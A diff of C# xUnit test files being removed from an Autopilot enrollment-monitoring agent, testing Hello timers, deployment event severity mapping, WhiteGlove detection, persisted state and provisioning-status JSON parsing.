|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("wizard_not_started", t.HelloOutcome);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Cross-boundary notifications
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void NotifyHelloWizardStarted_StopsWaitTimer_StartsCompletionTimer()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.StartHelloWaitTimer();
|
||||
Assert.True(t.IsWaitTimerActiveForTest);
|
||||
|
||||
t.NotifyHelloWizardStarted();
|
||||
|
||||
Assert.False(t.IsWaitTimerActiveForTest);
|
||||
Assert.True(t.IsCompletionTimerActiveForTest);
|
||||
Assert.True(t.IsHelloWizardStartedForTest);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NotifyHelloWizardStarted_Idempotent()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.NotifyHelloWizardStarted();
|
||||
t.NotifyHelloWizardStarted();
|
||||
|
||||
Assert.True(t.IsHelloWizardStartedForTest);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NotifyEspExited_PopulatedIntoWaitTimeoutDataField()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.NotifyEspExited();
|
||||
t.StartHelloWaitTimer();
|
||||
|
||||
t.TriggerWaitTimeoutForTest();
|
||||
|
||||
var evt = Last("hello_wait_timeout");
|
||||
Assert.Equal(true, evt.Data["espExitDetected"]);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// External coordination API
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ForceMarkHelloCompleted_SetsOutcome_DoesNotFireEvent()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ForceMarkHelloCompleted("device_only_timeout");
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("device_only_timeout", t.HelloOutcome);
|
||||
Assert.Equal(0, _helloCompletedInvocations); // Force does NOT invoke callback
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ForceMarkHelloCompleted_WhenAlreadyCompleted_IsNoOp()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
|
||||
var initialOutcome = t.HelloOutcome;
|
||||
|
||||
t.ForceMarkHelloCompleted("override_attempt");
|
||||
|
||||
Assert.Equal(initialOutcome, t.HelloOutcome); // No override once terminal
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ResetForEspResumption_ClearsAllHelloStateAndOutcome()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.NotifyHelloWizardStarted();
|
||||
t.NotifyEspExited();
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
|
||||
t.ResetForEspResumption();
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Null(t.HelloOutcome);
|
||||
Assert.False(t.IsHelloWizardStartedForTest);
|
||||
Assert.False(t.IsWaitTimerActiveForTest);
|
||||
Assert.False(t.IsCompletionTimerActiveForTest);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void StartHelloWaitTimer_WhenAlreadyCompleted_IsNoOp()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
|
||||
|
||||
t.StartHelloWaitTimer();
|
||||
|
||||
Assert.False(t.IsWaitTimerActiveForTest);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void StartHelloWaitTimer_WhenWizardAlreadyStarted_IsNoOp()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.NotifyHelloWizardStarted();
|
||||
|
||||
t.StartHelloWaitTimer();
|
||||
|
||||
Assert.False(t.IsWaitTimerActiveForTest);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void StartHelloWaitTimer_CalledTwice_DoesNotStartSecondTimer()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.StartHelloWaitTimer();
|
||||
Assert.True(t.IsWaitTimerActiveForTest);
|
||||
|
||||
t.StartHelloWaitTimer(); // no-op
|
||||
|
||||
Assert.True(t.IsWaitTimerActiveForTest);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Policy detection emission
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void SetPolicyForTest_Enabled_EmitsPolicyDetectedEvent()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.SetPolicyForTest(helloEnabled: true, source: "CSP/Intune (device-scoped)");
|
||||
|
||||
Assert.True(t.IsPolicyConfigured);
|
||||
var evt = Last("hello_policy_detected");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(true, evt.Data["helloEnabled"]);
|
||||
Assert.Equal("CSP/Intune (device-scoped)", evt.Data["policySource"]);
|
||||
}
|
||||
}
|
||||
}
|
||||
-415
@@ -1,415 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests for <see cref="ModernDeploymentTracker"/>. Drives the ProcessEvent pipeline via
|
||||
/// primitive inputs (EventRecord is abstract and Windows-only, so tests don't synthesise it).
|
||||
/// Covers: level → event-type mapping, harmless-warning downgrade, WhiteGlove fire-once,
|
||||
/// WhiteGlove keyword guard, cross-restart dedup via persisted state.
|
||||
/// </summary>
|
||||
public sealed class ModernDeploymentTrackerTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
private readonly ConcurrentBag<EnrollmentEvent> _captured;
|
||||
|
||||
public ModernDeploymentTrackerTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "mdt-test-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
_captured = new ConcurrentBag<EnrollmentEvent>();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
|
||||
catch { /* best-effort */ }
|
||||
}
|
||||
|
||||
private ModernDeploymentTracker CreateTracker(string stateDirectory = null, int[] harmlessEventIds = null)
|
||||
{
|
||||
return new ModernDeploymentTracker(
|
||||
sessionId: "sess-1",
|
||||
tenantId: "tenant-1",
|
||||
onEventCollected: e => _captured.Add(e),
|
||||
logger: TestLogger.Instance,
|
||||
logLevelMax: 3,
|
||||
backfillEnabled: true,
|
||||
backfillLookbackMinutes: 30,
|
||||
stateDirectory: stateDirectory,
|
||||
harmlessEventIds: harmlessEventIds);
|
||||
}
|
||||
|
||||
private List<EnrollmentEvent> GetCaptured() => new List<EnrollmentEvent>(_captured);
|
||||
|
||||
// ========== Level → EventType mapping ==========
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_Level1_MappedToError()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(
|
||||
eventId: 42, level: 1, levelDisplayName: "Critical", providerName: "prov",
|
||||
timeCreatedUtc: DateTime.UtcNow, formattedDescription: "Boom",
|
||||
shortName: "Autopilot", channelName: ModernDeploymentTracker.AutopilotChannel,
|
||||
isBackfill: false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Error, evt.Severity);
|
||||
Assert.Equal("ModernDeploymentWatcher", evt.Source);
|
||||
Assert.Equal(EnrollmentPhase.Unknown, evt.Phase);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_Level2_MappedToError()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(42, 2, "Error", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentError, Assert.Single(GetCaptured()).EventType);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_Level3_MappedToWarning()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(42, 3, "Warning", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentWarning, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Warning, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_Level4_MappedToInfoLog()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Info, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_NullLevel_DefaultsToInfoLog()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(42, null, null, null, DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, Assert.Single(GetCaptured()).EventType);
|
||||
}
|
||||
|
||||
// ========== Harmless warning downgrade (Event 100, Level 3) ==========
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_EventId100Level3_DowngradedToDebugLog()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow,
|
||||
"Autopilot policy not found",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Debug, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_EventId100Level2_DowngradedToDebugLog()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(100, 2, "Error", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Debug, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_EventId100Level1Critical_NeverDowngraded()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(100, 1, "Critical", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Error, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_DefaultHarmlessList_IncludesEventId1005()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(1005, 3, "Warning", "prov", DateTime.UtcNow, "noisy",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Debug, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_CustomHarmlessList_OverridesDefaults()
|
||||
{
|
||||
var tracker = CreateTracker(harmlessEventIds: new[] { 4242 });
|
||||
|
||||
// 100 is NOT in the custom list → stays Warning
|
||||
tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
// 4242 IS in the custom list → downgraded
|
||||
tracker.ProcessEvent(4242, 3, "Warning", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var events = GetCaptured();
|
||||
Assert.Equal(2, events.Count);
|
||||
Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 100 && e.Severity == EventSeverity.Warning);
|
||||
Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 4242 && e.Severity == EventSeverity.Debug);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_UnlistedHighLevelEvent_RemainsAsError()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
// 999 not in the default harmless list → Level 2 stays Error
|
||||
tracker.ProcessEvent(999, 2, "Error", "prov", DateTime.UtcNow, "msg",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
|
||||
Assert.Equal(EventSeverity.Error, evt.Severity);
|
||||
}
|
||||
|
||||
// ========== Message payload shape ==========
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_EmptyDescription_UsesFallback()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
|
||||
tracker.ProcessEvent(999, 4, "Information", "prov", DateTime.UtcNow, null,
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Contains("EventID 999", evt.Message);
|
||||
Assert.Contains("no formatted description", evt.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_LongDescription_TruncatedTo1000Chars()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
var longDesc = new string('x', 1500);
|
||||
|
||||
tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, longDesc,
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
// Message prefix "[Autopilot] EventID 42: " + 1000 chars + "…"
|
||||
Assert.True(evt.Message.Length <= 2000);
|
||||
Assert.EndsWith("…", evt.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_DataDictionaryContainsAllExpectedKeys()
|
||||
{
|
||||
var tracker = CreateTracker();
|
||||
var ts = new DateTime(2026, 4, 14, 10, 0, 0, DateTimeKind.Utc);
|
||||
|
||||
tracker.ProcessEvent(42, 3, "Warning", "MyProvider", ts, "hello",
|
||||
"ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: true);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal("ManagementService", evt.Data["channel"]);
|
||||
Assert.Equal(ModernDeploymentTracker.ManagementChannel, evt.Data["channelFullName"]);
|
||||
Assert.Equal(42, evt.Data["eventId"]);
|
||||
Assert.Equal(3, evt.Data["level"]);
|
||||
Assert.Equal("Warning", evt.Data["levelName"]);
|
||||
Assert.Equal("MyProvider", evt.Data["providerName"]);
|
||||
Assert.Equal(true, evt.Data["backfilled"]);
|
||||
}
|
||||
|
||||
// ========== WhiteGlove Event 509 handling ==========
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_WhiteGloveStart_FromManagementService_EmitsWhiteGloveStartedEvent()
|
||||
{
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
|
||||
tracker.ProcessEvent(
|
||||
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
|
||||
DateTime.UtcNow,
|
||||
"AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1",
|
||||
"ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal("whiteglove_started", evt.EventType);
|
||||
Assert.Equal(EventSeverity.Info, evt.Severity);
|
||||
Assert.True(evt.ImmediateUpload);
|
||||
Assert.True(tracker.IsWhiteGloveStartDetected);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_WhiteGloveStart_FromAutopilotChannel_TreatedAsRegularLog()
|
||||
{
|
||||
// Event 509 is only treated as WhiteGlove when it comes from ManagementService.
|
||||
// The Autopilot channel may emit event 509 for other purposes → fall through to
|
||||
// the generic level-based mapping.
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
|
||||
tracker.ProcessEvent(
|
||||
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
|
||||
DateTime.UtcNow, "AutopilotManager WhiteGlove whatever",
|
||||
"Autopilot", ModernDeploymentTracker.AutopilotChannel, isBackfill: false);
|
||||
|
||||
var evt = Assert.Single(GetCaptured());
|
||||
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
|
||||
Assert.False(tracker.IsWhiteGloveStartDetected);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_WhiteGloveEvent509_WithoutWhiteGloveKeyword_Ignored()
|
||||
{
|
||||
// Guard against future reuse of Event 509 for unrelated purposes.
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
|
||||
tracker.ProcessEvent(
|
||||
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
|
||||
DateTime.UtcNow, "Some unrelated message",
|
||||
"ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false);
|
||||
|
||||
Assert.Empty(GetCaptured());
|
||||
Assert.False(tracker.IsWhiteGloveStartDetected);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_WhiteGloveStart_FireOnce_DuplicatesSuppressed()
|
||||
{
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
var desc = "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1";
|
||||
|
||||
tracker.ProcessEvent(
|
||||
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
|
||||
DateTime.UtcNow, desc,
|
||||
"ManagementService", ModernDeploymentTracker.ManagementChannel, false);
|
||||
tracker.ProcessEvent(
|
||||
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
|
||||
DateTime.UtcNow.AddSeconds(5), desc,
|
||||
"ManagementService", ModernDeploymentTracker.ManagementChannel, false);
|
||||
|
||||
Assert.Single(GetCaptured());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_WhiteGloveStart_PersistsStateToDisk()
|
||||
{
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc);
|
||||
|
||||
tracker.ProcessEvent(
|
||||
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
|
||||
eventTime,
|
||||
"AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1",
|
||||
"ManagementService", ModernDeploymentTracker.ManagementChannel, false);
|
||||
|
||||
var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName);
|
||||
Assert.True(File.Exists(statePath));
|
||||
var state = JsonConvert.DeserializeObject<ModernDeploymentTracker.WhiteGloveBackfillState>(File.ReadAllText(statePath));
|
||||
Assert.True(state.WhiteGloveStartSeen);
|
||||
Assert.Equal(eventTime, state.SeenUtc);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadWhiteGloveBackfillState_NoStateDirectory_ReturnsNull()
|
||||
{
|
||||
var tracker = CreateTracker(stateDirectory: null);
|
||||
Assert.Null(tracker.LoadWhiteGloveBackfillState());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadWhiteGloveBackfillState_NoFile_ReturnsNull()
|
||||
{
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
Assert.Null(tracker.LoadWhiteGloveBackfillState());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadWhiteGloveBackfillState_CorruptFile_ReturnsNullAndDoesNotThrow()
|
||||
{
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName);
|
||||
File.WriteAllText(statePath, "{not valid json");
|
||||
|
||||
Assert.Null(tracker.LoadWhiteGloveBackfillState());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadWhiteGloveBackfillState_RoundTrip_PreservesFlagAndTimestamps()
|
||||
{
|
||||
var tracker = CreateTracker(_tempDir);
|
||||
var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc);
|
||||
|
||||
tracker.PersistWhiteGloveBackfillState(eventTime);
|
||||
var loaded = tracker.LoadWhiteGloveBackfillState();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.True(loaded.WhiteGloveStartSeen);
|
||||
Assert.Equal(eventTime, loaded.SeenUtc);
|
||||
}
|
||||
|
||||
// ========== XPath builder ==========
|
||||
|
||||
[Fact]
|
||||
public void BuildXPath_NoTargetedIds_UsesLevelFilterOnly()
|
||||
{
|
||||
var xpath = ModernDeploymentTracker.BuildXPath(3, null);
|
||||
Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath);
|
||||
Assert.DoesNotContain("EventID=", xpath);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildXPath_WithTargetedIds_IncludesOrClause()
|
||||
{
|
||||
var xpath = ModernDeploymentTracker.BuildXPath(3, new HashSet<int> { 509 });
|
||||
Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath);
|
||||
Assert.Contains("EventID=509", xpath);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildXPath_LevelClampedToWindowsRange()
|
||||
{
|
||||
Assert.Contains("Level <= 1", ModernDeploymentTracker.BuildXPath(0, null));
|
||||
Assert.Contains("Level <= 5", ModernDeploymentTracker.BuildXPath(99, null));
|
||||
}
|
||||
}
|
||||
}
|
||||
-529
@@ -1,529 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text.Json;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests for <see cref="ProvisioningStatusTracker"/>. Drives category-status processing via
|
||||
/// <c>ProcessCategoryStatusForTest</c> with synthetic JSON payloads to exercise first-seen,
|
||||
/// subcategory transitions, categorySucceeded resolution, failure escalation, DeviceSetup
|
||||
/// completion event, and snapshot APIs. Registry / RegistryWatcher are NOT invoked.
|
||||
/// </summary>
|
||||
public sealed class ProvisioningStatusTrackerTests
|
||||
{
|
||||
private readonly ConcurrentBag<EnrollmentEvent> _captured = new ConcurrentBag<EnrollmentEvent>();
|
||||
private readonly List<string> _espFailures = new List<string>();
|
||||
private int _deviceSetupCompleteCount;
|
||||
|
||||
private ProvisioningStatusTracker CreateTracker()
|
||||
{
|
||||
var t = new ProvisioningStatusTracker(
|
||||
sessionId: "sess-1",
|
||||
tenantId: "tenant-1",
|
||||
onEventCollected: e => _captured.Add(e),
|
||||
logger: TestLogger.Instance);
|
||||
t.EspFailureDetected += (_, ft) => _espFailures.Add(ft);
|
||||
t.DeviceSetupProvisioningComplete += (_, __) => System.Threading.Interlocked.Increment(ref _deviceSetupCompleteCount);
|
||||
return t;
|
||||
}
|
||||
|
||||
private List<EnrollmentEvent> OfType(string eventType) =>
|
||||
_captured.ToList().Where(e => e.EventType == eventType).ToList();
|
||||
|
||||
// =====================================================================
|
||||
// ProcessCategoryStatus — first-seen + resolved-to-success
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_FirstSeen_EmitsStatusAndRawDump()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var json = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""working""}}";
|
||||
|
||||
var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
|
||||
Assert.False(result.IsFailed);
|
||||
Assert.NotEmpty(OfType(Constants.EventTypes.EspProvisioningStatus));
|
||||
Assert.NotEmpty(OfType("esp_provisioning_raw"));
|
||||
var raw = OfType("esp_provisioning_raw").Single();
|
||||
Assert.Equal("first_seen", raw.Data["trigger"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_ResolvesToSuccess_EmitsResolvedEventAndRaw()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var initial = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""...""}}";
|
||||
var resolved = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", initial);
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", resolved);
|
||||
|
||||
var raws = OfType("esp_provisioning_raw");
|
||||
Assert.Equal(2, raws.Count);
|
||||
Assert.Contains(raws, r => (string)r.Data["trigger"] == "first_seen");
|
||||
Assert.Contains(raws, r => (string)r.Data["trigger"] == "category_resolved_success");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_ResolvesToFailure_FiresEspFailureDetected()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var failed = @"{""categorySucceeded"":false,""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
|
||||
|
||||
var result = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed);
|
||||
|
||||
Assert.True(result.IsFailed);
|
||||
Assert.Contains("Provisioning_AccountSetup_Certificates_Failed", result.FailureType);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_SubcategoryFailureBeforeCategorySucceededResolves_AlsoEscalates()
|
||||
{
|
||||
// Timeout scenario: categorySucceeded still null, but a subcategory already failed.
|
||||
var t = CreateTracker();
|
||||
var partialFailure = @"{""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
|
||||
|
||||
var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", partialFailure);
|
||||
|
||||
Assert.True(result.IsFailed);
|
||||
Assert.Equal("Provisioning_DeviceSetup_Certificates_Failed", result.FailureType);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_SameFailureTwice_FireOnceGuard()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var failed = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
|
||||
var failed2 = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err - refresh""}}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed);
|
||||
var secondResult = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed2);
|
||||
|
||||
Assert.False(secondResult.IsFailed); // Fire-once guard in TryFireProvisioningFailure
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Flat (string) subcategory format — legacy Windows versions
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ParseSubcategories_FlatStringFormat_InferredFromText()
|
||||
{
|
||||
var json = @"{""CertificatesSubcategory"":""Certificates (1 of 1 applied)""}";
|
||||
using var doc = JsonDocument.Parse(json);
|
||||
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
|
||||
|
||||
Assert.Single(subs);
|
||||
Assert.Equal("Certificates", subs[0].Name);
|
||||
Assert.Equal("succeeded", subs[0].State);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ParseSubcategories_NestedObjectFormat_UsesExplicitState()
|
||||
{
|
||||
var json = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""2 of 5""}}";
|
||||
using var doc = JsonDocument.Parse(json);
|
||||
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
|
||||
|
||||
Assert.Single(subs);
|
||||
Assert.Equal("Apps", subs[0].Name);
|
||||
